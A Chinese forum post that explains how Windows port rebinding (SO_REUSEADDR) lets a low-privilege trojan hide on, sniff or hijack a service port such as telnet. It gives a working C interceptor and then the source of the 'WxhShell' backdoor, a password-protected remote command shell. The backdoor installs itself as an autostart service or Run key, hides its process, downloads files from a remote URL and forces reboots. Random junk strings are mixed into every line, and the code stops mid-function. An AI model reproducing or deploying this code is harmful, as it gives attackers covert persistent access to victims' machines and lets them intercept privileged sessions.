社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16499阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ab[V->>%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S`& yVzv  
k>=wwPy  
  saddr.sin_family = AF_INET; >:OP+Vc  
AMN`bgxW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P]7s1kgaS  
ZU`HaL$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I7C+XUQkQ  
9hgIQl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1[-RIN;U8  
rIX 40,`  
  这意味着什么?意味着可以进行如下的攻击: !Pu7%nV.  
x[R?hS,0 t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X;v{,P=J  
MfraTUxIo/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 212 =+k  
X7SSTcA   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 88}04  
b/4gs62{k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N6v*X+4JH  
y2PxC. -  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &zPM# Q  
9y*(SDF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {JM3drnw  
)O\l3h"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 + B7UGI  
JEfhr  
  #include _+gpdQq\p  
  #include J?Rp  
  #include V/ZWyYxjLi  
  #include    @^`5;JiUk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )5TX3#=;(G  
  int main() (A;HB@)[A  
  { ]@qD4:  
  WORD wVersionRequested; [n +(  
  DWORD ret; Xm6M s<z6  
  WSADATA wsaData; R=W$3Ue~,  
  BOOL val; w$749jGx  
  SOCKADDR_IN saddr; _X)]/A%@  
  SOCKADDR_IN scaddr; -./ Y  
  int err; 3ep L'My$  
  SOCKET s; z]sQ3"cmX  
  SOCKET sc; tAb3ejCo?  
  int caddsize; fVZ_*'v  
  HANDLE mt; th=45y"C  
  DWORD tid;   pe+m%;nzR  
  wVersionRequested = MAKEWORD( 2, 2 ); 72y!cK6  
  err = WSAStartup( wVersionRequested, &wsaData ); aX~' gq>  
  if ( err != 0 ) { efh1-3f  
  printf("error!WSAStartup failed!\n"); iz-O~T/^  
  return -1; 5hB2:$C  
  } ;8gODj:dO  
  saddr.sin_family = AF_INET; b{ W ,wn  
   7.C]ZcU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K=2j}IPe  
}80n5 X<9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,-> P+m5  
  saddr.sin_port = htons(23); 7wqD_Xr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z8pZm`g)T  
  { u[!Ex=9W  
  printf("error!socket failed!\n"); E} ]SGU"  
  return -1; qche7kg!a  
  } \)PS&Y8n  
  val = TRUE; U4Pk^[,p1G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $P&27  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U9AtC.IG!  
  { CjA}-ee  
  printf("error!setsockopt failed!\n"); +Jc-9Ko\c;  
  return -1; '`p0T%w  
  } vaZ?>94  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F#{ PJ#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U3w*z6OG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r3.v^  
wD[qE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hpticW|  
  { >2)!w  
  ret=GetLastError(); c{f1_qXN  
  printf("error!bind failed!\n"); &l~=c2  
  return -1; 7M9s}b%?  
  } 3*b!]^d:D  
  listen(s,2); &S# bLE  
  while(1) $w<~W1\:  
  { }Z\+Qc<<  
  caddsize = sizeof(scaddr); UmQ'=@^kR  
  //接受连接请求 ZP%Bu2xd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WTh|7&  
  if(sc!=INVALID_SOCKET) ?/s=E+  
  { q}5&B =2pM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PiIILX{DuH  
  if(mt==NULL) ?r~](l   
  { O4 Y;  
  printf("Thread Creat Failed!\n"); Va'K~$d_  
  break; YJwz*@l  
  } __||cQ  
  } BcoE&I?[m|  
  CloseHandle(mt); 0b}lwo,|\  
  } +<I1@C  
  closesocket(s); uO-R:MC  
  WSACleanup(); /h%MWCZWm^  
  return 0; oDas~0<oh  
  }   @)8C  
  DWORD WINAPI ClientThread(LPVOID lpParam) h-h}NCP  
  { K#{E87G(  
  SOCKET ss = (SOCKET)lpParam; ]H<C Rw  
  SOCKET sc; L9U<E $%#  
  unsigned char buf[4096]; }c,}+{q  
  SOCKADDR_IN saddr; 'lNl><e-  
  long num; 7f td2lv  
  DWORD val; X]*W +  
  DWORD ret; @.iOFY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $RSVN?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rQ$A|GJL  
  saddr.sin_family = AF_INET; JGD{cr[S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f1>^kl3@P  
  saddr.sin_port = htons(23); XsHl%o8,z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HI eMV,.QN  
  { }Mo9r4}  
  printf("error!socket failed!\n"); 5cQBqH]  
  return -1; UwQ3q  
  } Vt4}!b(O  
  val = 100; 3B "rI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I_ .;nU1xA  
  { A1f]HT  
  ret = GetLastError(); T}]Ao  
  return -1; (A &@ <  
  } 0KT{K(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hOMFDfhU  
  { o-Idr{  
  ret = GetLastError(); .^.UJo;4G  
  return -1; 90aPIs-  
  } ^! ZjK-$A<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cCV"(Oo[H|  
  { {Q(6 .0R  
  printf("error!socket connect failed!\n"); "x$S%:p  
  closesocket(sc); .Na>BR\F  
  closesocket(ss); Q84KU8?d  
  return -1; W{m0z+N[B  
  } W\<#`0tUt  
  while(1) O x$|ZEh  
  { ,n!xzoX_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #-HN[U?Gs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 16G v? I h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qryt1~Dq  
  num = recv(ss,buf,4096,0); 3Ob"r`  
  if(num>0) D#t5*bwK  
  send(sc,buf,num,0); 4+ k:j=x  
  else if(num==0) '7*=m^pc  
  break; $=m17GD  
  num = recv(sc,buf,4096,0); RLHe;-*b]I  
  if(num>0) IfXLnD^||  
  send(ss,buf,num,0); fp![Pbms.  
  else if(num==0) dju&Ku  
  break; {M~!?# <K  
  } 4QZy-a*tA  
  closesocket(ss); B?%D   
  closesocket(sc); j'J*QK&Q  
  return 0 ; ia_8$>xW+  
  } VYAe !{[  
Xp?Z;$r$  
a@jP^VVk  
========================================================== 49zp@a  
T&23Pf1  
下边附上一个代码,,WXhSHELL rzBWk  
Csc2yI%3  
========================================================== 1aT$07G0  
sTqB%$K}  
#include "stdafx.h" "DN`@  
`( a^=e5  
#include <stdio.h> U;q)01  
#include <string.h> 5~"=Fm<uD  
#include <windows.h>  zm.2L  
#include <winsock2.h> 86I*  
#include <winsvc.h> Hf-F-~E  
#include <urlmon.h> (_08?cN  
`WW0~Tp3  
#pragma comment (lib, "Ws2_32.lib") }I`|*6Up  
#pragma comment (lib, "urlmon.lib") Elq8WtS  
4QVd{  
#define MAX_USER   100 // 最大客户端连接数 Cp* n2  
#define BUF_SOCK   200 // sock buffer 8Z!ea3kAT  
#define KEY_BUFF   255 // 输入 buffer H= y-Y_R  
Le'\x`B  
#define REBOOT     0   // 重启 j&mL]'Zy  
#define SHUTDOWN   1   // 关机 ,RHHNTB("  
:gVjBF2  
#define DEF_PORT   5000 // 监听端口 (os7Q?  
O9yQ9sl  
#define REG_LEN     16   // 注册表键长度 *Sf^()5C,  
#define SVC_LEN     80   // NT服务名长度 k1H0hDE  
Vi|jkyC8  
// 从dll定义API m#eD v*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yEny2q}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -&A[{m<,>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D?'y)](  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z,7^dlT  
m&%b;%,J  
// wxhshell配置信息 o|W? a#_\  
struct WSCFG { ZD{srEa/a  
  int ws_port;         // 监听端口 w8i!Qi#y5D  
  char ws_passstr[REG_LEN]; // 口令 wm8x1+P  
  int ws_autoins;       // 安装标记, 1=yes 0=no "J1ar.li  
  char ws_regname[REG_LEN]; // 注册表键名 8dhY"&  
  char ws_svcname[REG_LEN]; // 服务名 1m)/_y~1 k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WI,=?~-   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dn3~8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @i h}x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $g};u[y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #50)DwD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %ze1ZWO{  
7. .vaq#  
}; |Q;o538  
GXRjR\Ch  
// default Wxhshell configuration \d+HYLAJn  
struct WSCFG wscfg={DEF_PORT, t_rDXhM  
    "xuhuanlingzhe", [s2V-'2  
    1,  c$|dK  
    "Wxhshell", }BrE|'.j'  
    "Wxhshell", gNd J=r4  
            "WxhShell Service", YeLOd  
    "Wrsky Windows CmdShell Service", b9N4Gr  
    "Please Input Your Password: ",  o %%fO  
  1, ^!qmlx*  
  "http://www.wrsky.com/wxhshell.exe", 0)]1)z(P  
  "Wxhshell.exe" kk'w@Sn.(  
    }; Q2NnpsA^6  
's?Fip  
// 消息定义模块 `RcNqPY#S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RX1{?*r]Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4g9b[y~U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \ c&)8.r  
char *msg_ws_ext="\n\rExit."; <yPHdbF  
char *msg_ws_end="\n\rQuit."; (O2HB-<rY  
char *msg_ws_boot="\n\rReboot..."; eeZysCy+DY  
char *msg_ws_poff="\n\rShutdown..."; N0[I2'^.  
char *msg_ws_down="\n\rSave to "; n y)P  
YMTA`T(+  
char *msg_ws_err="\n\rErr!"; ([-=NT}Aq  
char *msg_ws_ok="\n\rOK!"; o z{j2%  
syf"{bBe  
char ExeFile[MAX_PATH]; => =x0gsgj  
int nUser = 0; ,`zRlkX  
HANDLE handles[MAX_USER]; i)i)3K2  
int OsIsNt; I)6Sbt JV^  
#L0I+ K,K\  
SERVICE_STATUS       serviceStatus; K, 5ax@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /AW>5r]  
`Qf :PX3  
// 函数声明 \cP'#jZz  
int Install(void); }GDG$QI]K&  
int Uninstall(void); \q|PHl  
int DownloadFile(char *sURL, SOCKET wsh); qo- F9u1J  
int Boot(int flag); rcmAVl:$>  
void HideProc(void); ; ,<J:%s  
int GetOsVer(void); }>~>5jc/Pg  
int Wxhshell(SOCKET wsl); &2=KQ\HO  
void TalkWithClient(void *cs); Te}yQ=+  
int CmdShell(SOCKET sock); !u}3H|6~  
int StartFromService(void); 1cBhcYv"  
int StartWxhshell(LPSTR lpCmdLine); EE6|9K>  
bTGK@~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '5/}MMT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d J:x1j  
Q'% o;z*  
// 数据结构和表定义 x,gE$dNzy  
SERVICE_TABLE_ENTRY DispatchTable[] = u^zitW!X$  
{ 4E\ntufo  
{wscfg.ws_svcname, NTServiceMain}, &vX!7 Y  
{NULL, NULL} [=6~"!P}  
}; q)ql]iH  
MW~B[%/  
// 自我安装 9[{>JRm.  
int Install(void) `L#?eQ{  
{ LIC~Kehi  
  char svExeFile[MAX_PATH]; l\;mP.!  
  HKEY key; G5#}Ed4  
  strcpy(svExeFile,ExeFile); )?&kQ^@v  
Y;F R"~^  
// 如果是win9x系统,修改注册表设为自启动 FP'lEp  
if(!OsIsNt) { 1`]IU_)1B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <-:@} |br  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u?;Vxh3@|  
  RegCloseKey(key); rHgdvDc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `]P5,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }K80G~O2<  
  RegCloseKey(key); *;e@t4  
  return 0; J.mewD!%z  
    } ~po%GoH(K  
  } C<t'f(4s`u  
} -^4bA<dCCE  
else { ),Ho(%T\  
)_ ^WpyzF1  
// 如果是NT以上系统,安装为系统服务 $l,Zd6<1q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CQzjCRS d  
if (schSCManager!=0) Wt9iL  
{ cia-OVX  
  SC_HANDLE schService = CreateService qD;v/,?  
  ( ;xO=Yhc+  
  schSCManager, 'gZbNg=&[  
  wscfg.ws_svcname, H<Kkj  
  wscfg.ws_svcdisp, #} ~p^ 0  
  SERVICE_ALL_ACCESS, ).}k6v[4)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,0uo&/Y4L  
  SERVICE_AUTO_START, [AX"ne# M*  
  SERVICE_ERROR_NORMAL, aaz"`,7_  
  svExeFile, +'['HQ)  
  NULL, |@ZqwC=  
  NULL, (#B^Hyz!  
  NULL, 6{+_T  
  NULL, }u-S j/K  
  NULL Wda\a.bXT  
  ); P"9@8aLB  
  if (schService!=0) vDW&pF_eI>  
  { 3Wb2p'V7$?  
  CloseServiceHandle(schService); +*_fN ]M  
  CloseServiceHandle(schSCManager); KT];SF ^Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]bN&5.|  
  strcat(svExeFile,wscfg.ws_svcname); ,t%CK!8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yMbcFDlBr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <Hh5u~  
  RegCloseKey(key); ;4kx>x*H  
  return 0; te;Ox!B&  
    } )y`TymM[F  
  } oB0 8  
  CloseServiceHandle(schSCManager); ,.oa,sku  
} r'd:SaU+  
} S@c\|  
x'2 ,sE  
return 1; q)?p$\  
} O+o;aa6  
4aN+}TkH@G  
// 自我卸载 P#[IUXtT  
int Uninstall(void) X"k^89y$  
{ 'G l;Ir^  
  HKEY key; 0Q$~k  
: _^0'ULP  
if(!OsIsNt) { cK|rrwa0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wrQydI  
  RegDeleteValue(key,wscfg.ws_regname); AJ\VY;m7F  
  RegCloseKey(key); (L y%{ Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i<#h]o C}  
  RegDeleteValue(key,wscfg.ws_regname);  nOoKGT  
  RegCloseKey(key); G}P)vfcH  
  return 0; MOP]\ypn  
  } $v:gBlj%"  
} np-T&Pz2  
} VR4E 2^  
else { : 'd76pM-  
:/@k5#DY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BH&/2tO%  
if (schSCManager!=0) <Spr6U9p7  
{ 5 6Sh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hGed/Yr  
  if (schService!=0) B:O+*3j  
  { '!wPnYT@D  
  if(DeleteService(schService)!=0) { |"CJ  
  CloseServiceHandle(schService); AZxrJ2G  
  CloseServiceHandle(schSCManager); NV8]#b  
  return 0; PyC;f8n'(  
  } ;48P vw>g}  
  CloseServiceHandle(schService); @[d#mz  
  } N 8:"&WM  
  CloseServiceHandle(schSCManager); ezcS[r  
} VLh%XoQx[  
} rWoe ?g  
#Rin*HL##  
return 1; /B,B4JI)/  
} 7szls71/=  
j`2B}@2  
// 从指定url下载文件 MV0<^/p|  
int DownloadFile(char *sURL, SOCKET wsh) 4ef*9|^x#  
{ a9#W9eP  
  HRESULT hr; #0P!xZ'|{  
char seps[]= "/"; ;JOD!|  
char *token; "H5&3sF2  
char *file; *>e~_{F  
char myURL[MAX_PATH]; |x d@M-ln  
char myFILE[MAX_PATH]; j:HH#U  
=cdh'"XN  
strcpy(myURL,sURL); %<aImR]  
  token=strtok(myURL,seps); x1N me%%&  
  while(token!=NULL) v[R_S  
  { $Hp.{jw  
    file=token; j';n8|Y9  
  token=strtok(NULL,seps); $42Au2Jg  
  } E7rX1YdR  
o-SRSu  
GetCurrentDirectory(MAX_PATH,myFILE); oy2(Ag\  
strcat(myFILE, "\\"); T(Y}V[0+  
strcat(myFILE, file); [urH a  
  send(wsh,myFILE,strlen(myFILE),0); )UR1E?'  
send(wsh,"...",3,0); J#6LSD@ (O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n&_YYEHx  
  if(hr==S_OK) @<vF]\Ce  
return 0; _/|8%])  
else G$cxDGo  
return 1; HG3.~ 6X  
HR[Q ?rg  
} 'Z\{D*=V8  
X!T|07#c  
// 系统电源模块 TkA9tFi  
int Boot(int flag) \4OK!6LkI  
{ 7 ,$axvLw  
  HANDLE hToken; R `;o!B}[  
  TOKEN_PRIVILEGES tkp; H \r`7  
-&trk  
  if(OsIsNt) { ,q8(]n 4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (-bRj#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nc<qbN  
    tkp.PrivilegeCount = 1; "YuZ fL`bb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; clHM8$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ha_@Yqgh  
if(flag==REBOOT) { IK8%Q(.c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L<0=giE  
  return 0; (.PmDBW  
} w'd.;  
else { GSQfg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7. %f01/i  
  return 0; -<O JqB  
} )j\r,9<K+5  
  } 9#u}^t  
  else { ?^U c=  
if(flag==REBOOT) { BApa^j\?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]X*YAPv  
  return 0; SLSF <$  
} GL/  KB  
else { /a%*u6z@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9QX4R<"wUg  
  return 0; l#Yx TY  
} 7k>zuzRyF  
} Q5g,7ac8L  
K~USK?Q%  
return 1; CP +4k.)*O  
} Wt(Kd5k0'2  
?;Un#6b  
// win9x进程隐藏模块 =Qyqfy*@D?  
void HideProc(void) 6mwvI4)  
{ # 2d,U\_  
Pow|:Lau!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,`<]>;s  
  if ( hKernel != NULL ) Bgf=\7;5  
  { mLJDxh'B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $>;a 'f~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $;y1Q iel  
    FreeLibrary(hKernel); Cgo9rC~]  
  } gTnS[  
oK)[p!D?0{  
return; B0v|{C   
} fO #?k<p  
,pn ) >  
// 获取操作系统版本 9MT3T?IS  
int GetOsVer(void) 3#9uEDdE  
{ RXM}hqeG  
  OSVERSIONINFO winfo; NK~PcdGl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k9 l^6#<?  
  GetVersionEx(&winfo);  *=TYVM9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xLZ bU4  
  return 1; ZlrhC= 0  
  else {(%~i37  
  return 0; !\ZcOk2  
} ( :iPm<  
J=@xAVBc  
// 客户端句柄模块  ER_ 3'  
int Wxhshell(SOCKET wsl) Z&A0hI4d  
{ B_cgWJ*4  
  SOCKET wsh; :Z[(A"dA  
  struct sockaddr_in client; ~U9q-/(J/  
  DWORD myID; kB V/rw  
>{b3>s~T  
  while(nUser<MAX_USER) };^}2Xo+  
{ ]'tJ S]  
  int nSize=sizeof(client); 4b=Gg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \KCWYi]  
  if(wsh==INVALID_SOCKET) return 1; lr0M<5d=p  
zXjw nep  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '^DUq?E4  
if(handles[nUser]==0) >4~#%&  
  closesocket(wsh); W1hX?!xp!  
else <}cZi4l'  
  nUser++; $D}"k!H  
  } G~(& 3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aV#h5s  
\ZsP]};*  
  return 0; 2 ^oGwx @  
} @C=m?7O98  
L$kgK# T  
// 关闭 socket gX_SKy  
void CloseIt(SOCKET wsh) ]hL:33  
{ a}dw9wU!:  
closesocket(wsh); js -2"I  
nUser--; 12-EDg/1  
ExitThread(0); }Bi@?Sb  
} B>,A(X&  
e+{BJN vz  
// 客户端请求句柄 lA]N04 d  
void TalkWithClient(void *cs) _CL{IY  
{ qW3x{L$c  
}1Z6e[K?  
  SOCKET wsh=(SOCKET)cs; tJAnuhX  
  char pwd[SVC_LEN]; L?Cjo4xS  
  char cmd[KEY_BUFF]; l/ QhD?)9  
char chr[1]; :xtT)w  
int i,j; f]]f85  
L0xsazX:x  
  while (nUser < MAX_USER) { 9OfU7_m  
9>;} /*:H  
if(wscfg.ws_passstr) { ZL,8,;]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [1U{ci&=p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Soy3Xp  
  //ZeroMemory(pwd,KEY_BUFF); y] y9'5_  
      i=0; Hr&Ere8.4p  
  while(i<SVC_LEN) { E?_ zZ2  
Wt:~S/l  
  // 设置超时 +<{m45  
  fd_set FdRead; sjn:O'  
  struct timeval TimeOut; a5 bPEJ=I  
  FD_ZERO(&FdRead); Cdmy.gx^  
  FD_SET(wsh,&FdRead); :]-$dEu&  
  TimeOut.tv_sec=8; KGD'mByt"  
  TimeOut.tv_usec=0; w,/6B&|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mqw 84u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \C7q4p?8  
C bQ4Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pZjpc#*9N  
  pwd=chr[0]; =9<$eLE0  
  if(chr[0]==0xd || chr[0]==0xa) { \?d TH:v/E  
  pwd=0; nd.hHQ  
  break; 7 OWsHlU  
  } # M>wH`Q#  
  i++; +|0 t  
    } >: $"a  
}#bZ8tm&  
  // 如果是非法用户,关闭 socket GMw)*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Dc@CmBr  
} YD9!=a$  
X.eB ;w/}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .`+yo0O:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O J>iq@ >  
WN\PX!K9  
while(1) { 6+e4<sy[E  
-K^41W71  
  ZeroMemory(cmd,KEY_BUFF); tgB=vIw?3  
+99Bi2H}o  
      // 自动支持客户端 telnet标准   QtlT&|$   
  j=0; *uU4^E(  
  while(j<KEY_BUFF) { y;QQ| =,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B:nK)"{  
  cmd[j]=chr[0]; #a'r_K=ch)  
  if(chr[0]==0xa || chr[0]==0xd) { sG1BNb_  
  cmd[j]=0; ST% T =_q  
  break; s??czM2O  
  } yV2e5/i  
  j++; t}~UYG( h~  
    } Ld~q1*7J  
?BsH{Q RYQ  
  // 下载文件 .1{l[[= W  
  if(strstr(cmd,"http://")) { R;'?;I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )qd= {  
  if(DownloadFile(cmd,wsh)) CIy^`2wq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C`EY5"N r  
  else GW8CaTf~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2LZS|fB9o  
  } MQ9vPgh  
  else { Q i^;1&  
NWaO_sm  
    switch(cmd[0]) { #g{Mne  
  v2=/[E@  
  // 帮助 ;W6-i2?  
  case '?': { Vd<K4Tk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'kQ~  
    break; n.ct]+L  
  } Z /h|\SyJ  
  // 安装 ONfyYM?  
  case 'i': { (!-;T  
    if(Install()) Km"&mT $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {G%3*=?,j  
    else hIo0S8MOj$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ib; yu_  
    break; 0 Az/fzJlz  
    } 7H#2WFQ7  
  // 卸载 @ t|3gF$X  
  case 'r': { BfVBywty  
    if(Uninstall()) O]bKNA.5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BUDGyl/=  
    else X|Dpt2A=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0e\y~#-  
    break; j/' g$  
    } ; h9W\Se  
  // 显示 wxhshell 所在路径 z{/LX \  
  case 'p': { )mG0g@qOK  
    char svExeFile[MAX_PATH]; )ji@k(x27q  
    strcpy(svExeFile,"\n\r"); 6Hl < ,(vn  
      strcat(svExeFile,ExeFile); OEI3eizgH  
        send(wsh,svExeFile,strlen(svExeFile),0); XR+rT  
    break; 9t0Cj/w}  
    } ` yYvYc  
  // 重启 :cdQ(O.m  
  case 'b': { ~b#OFnyG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7*MU2gb  
    if(Boot(REBOOT)) o$t &MST?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P=Puaz5&{  
    else { 4i`S+`#  
